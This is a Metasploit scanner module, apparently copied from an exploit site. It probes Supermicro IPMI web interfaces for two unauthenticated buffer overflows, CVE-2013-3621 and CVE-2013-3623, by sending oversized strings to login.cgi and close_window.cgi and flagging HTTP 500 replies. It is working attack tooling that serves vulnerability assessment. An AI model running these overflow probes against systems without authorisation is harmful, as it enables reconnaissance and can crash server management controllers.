## https://sploitus.com/exploit?id=PACKETSTORM:181154
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'uri'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'Supermicro Onboard IPMI CGI Vulnerability Scanner',
'Description' => %q{
This module checks for known vulnerabilities in the CGI applications of
Supermicro Onboard IPMI controllers. These issues currently include
several unauthenticated buffer overflows in the login.cgi and close_window.cgi
components.
},
'Author' =>
[
'hdm', # Discovery and analysis
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-3621' ],
[ 'CVE', '2013-3623' ],
[ 'URL', 'https://www.rapid7.com/blog/post/2013/11/06/supermicro-ipmi-firmware-vulnerabilities/']
],
'DisclosureDate' => '2013-11-06'))
end
def is_supermicro?
res = send_request_cgi(
{
"uri" => "/",
"method" => "GET"
})
if res and res.code == 200 and res.body.to_s =~ /ATEN International Co Ltd\./
return true
else
return false
end
end
def send_close_window_request(sess)
res = send_request_cgi({
'method' => 'POST',
'uri' => "/cgi/close_window.cgi",
'encode_params' => false,
'vars_post' => {
'sess_sid' => sess
}
})
return res
end
def check_close_window
safe_check = Rex::Text.rand_text_alpha(20)
trigger_check = Rex::Text.rand_text_alpha(132)
res = send_close_window_request(safe_check)
unless res and res.code == 200 and res.body.to_s =~ /Can't find action/
return false
end
res = send_close_window_request(trigger_check)
unless res and res.code == 500
return false
end
return true
end
def send_login_request(name)
res = send_request_cgi({
'method' => 'POST',
'uri' => "/cgi/login.cgi",
'encode_params' => false,
'vars_post' => {
'name' => name,
'pwd' => Rex::Text.rand_text_alpha(4)
}
})
return res
end
def check_login
safe_check = Rex::Text.rand_text_alpha(20)
trigger_check = Rex::Text.rand_text_alpha(300)
res = send_login_request(safe_check)
unless res and res.code == 200 and res.body.to_s =~ /ATEN International Co Ltd\./ and res.body.to_s =~ /top\.location\.href = location\.href/
return false
end
res = send_login_request(trigger_check)
unless res and res.code == 500
return false
end
return true
end
def run_host(ip)
vprint_status("Checking if it's a Supermicro IPMI web interface...")
if is_supermicro?
vprint_good("Supermicro IPMI web interface found")
else
vprint_error("Supermicro IPMI web interface not found")
return
end
vprint_status("Checking CVE-2013-3621 (login.gi Buffer Overflow) ...")
result = check_login
if result
print_good("Vulnerable to CVE-2013-3621 (login.cgi Buffer Overflow)")
report_vuln({
:host => rhost,
:port => rport,
:proto => 'tcp',
:name => "Supermicro Onboard IPMI login.cgi Buffer Overflow",
:refs => self.references.select do |ref| ref.ctx_val == "2013-3621" end
})
end
vprint_status("Checking CVE-2013-3623 (close_window.gi Buffer Overflow) ...")
result = check_close_window
if result
print_good("Vulnerable to CVE-2013-3623 (close_window.cgi Buffer Overflow)")
report_vuln({
:host => rhost,
:port => rport,
:proto => 'tcp',
:name => "Supermicro Onboard IPMI close_window.cgi Buffer Overflow",
:refs => self.references.select { |ref| ref.ctx_val == "2013-3623" }
})
end
end
end